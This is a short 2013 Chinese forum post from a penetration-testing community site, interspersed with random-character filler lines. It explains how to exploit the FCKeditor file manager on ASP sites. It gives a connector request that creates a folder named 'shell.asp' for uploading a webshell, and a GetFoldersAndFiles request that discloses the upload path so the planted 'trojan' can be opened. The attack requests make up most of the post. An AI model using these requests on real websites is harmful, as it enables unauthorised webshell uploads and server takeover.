中国网络渗透测试联盟
标题:
fckeditor找上传路径方法
[打印本页]
作者:
admin
时间:
2013-10-17 19:37
标题:
fckeditor找上传路径方法
网上流行着是上传是这样子的
, k0 p9 x) H: g# X/ \) X/ }
/ d" ~: A& l- @- }& T
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
$ n+ j# g# D7 u' q1 U; j
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
1 |& ~+ V' y) J1 R" e/ ]; y
/ b) }5 N5 u U# O* `9 P
上传后老找不到路径，测了一下，我发现
2 L" T9 P9 K# Y
& C- I/ T3 D9 D
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
9 l% Q. r% q+ G) Y
/ e5 W' f- @4 F* L! y
可以爆出路径，显示以下内容
o) D8 ^, \: R% N; \
7 h0 {. \/ r! K( w% g
3 A' P/ l3 T @7 f2 `9 D
得出路径，直接打开就见到马子
% `, N+ A: V9 F5 A6 G
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2